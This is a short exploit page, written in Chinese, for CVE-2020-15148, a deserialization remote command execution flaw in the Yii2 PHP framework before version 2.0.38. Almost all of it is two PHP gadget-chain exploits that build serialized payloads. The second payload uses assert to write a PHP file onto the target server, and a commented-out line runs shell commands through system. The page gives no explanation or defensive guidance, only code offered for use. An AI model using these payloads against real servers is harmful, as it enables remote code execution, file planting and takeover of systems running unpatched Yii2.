CVE-2020-15148 Yii框架反序列化遠程命令執行漏洞

INFO

Yii2 <2.0.38

EXP

<?php
namespace yii\rest {
    class Action extends \yii\base\Action
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\base {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
$exp = new \yii\db\BatchQueryResult($func, $param);
print(serialize($exp));

EXP 2

来源：CVE-2020-15148 Yii2反序列化RCE POP链分析

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            //$this->checkAccess = 'system';
            //$this->id = 'ls -la';
            $this->checkAccess = 'assert'; 
            $this->id = 'file_put_contents("i.php","<?php phpinfo()?>")';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>